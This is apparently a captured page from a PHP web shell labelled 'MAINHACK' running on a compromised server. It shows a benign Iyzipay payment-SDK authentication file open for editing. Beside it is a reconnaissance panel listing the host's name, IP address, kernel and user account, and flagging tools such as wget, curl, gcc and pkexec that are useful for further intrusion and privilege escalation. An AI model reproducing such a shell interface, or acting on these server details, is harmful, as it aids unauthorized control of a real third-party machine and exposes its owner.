[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: IyziAuthV2Generator.php
<?php namespace Iyzipay; class IyziAuthV2Generator { public static function generateAuthContent($uri, $apiKey, $secretKey, $randomString, Request $request = null) { $hashStr = "apiKey:" . $apiKey . "&randomKey:" . $randomString ."&signature:" . self::getHmacSHA256Signature($uri, $secretKey, $randomString, $request); $hashStr = base64_encode($hashStr); return $hashStr; } public static function getHmacSHA256Signature($uri, $secretKey, $randomString, Request $request = null) { $dataToEncrypt = $randomString . self::getPayload($uri, $request); $hash = hash_hmac('sha256', $dataToEncrypt, $secretKey, true); $token = bin2hex($hash); return $token; } public static function getPayload($uri, Request $request = null) { $uriPath = $uri; $startNumber = strpos($uri, '/v2'); $endNumber = strpos($uri, '?'); if ($startNumber) { if (strpos($uri, "subscription") || strpos($uri, "ucs")) { $endNumber = strlen($uri); if (strpos($uri, '?')) { $endNumber = strpos($uri, '?'); } } $endNumber -= $startNumber; $uriPath = substr($uri, $startNumber, $endNumber); } if (!empty($request) && $request->toJsonString() != '[]') $uriPath = $uriPath.$request->toJsonString(); return $uriPath; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002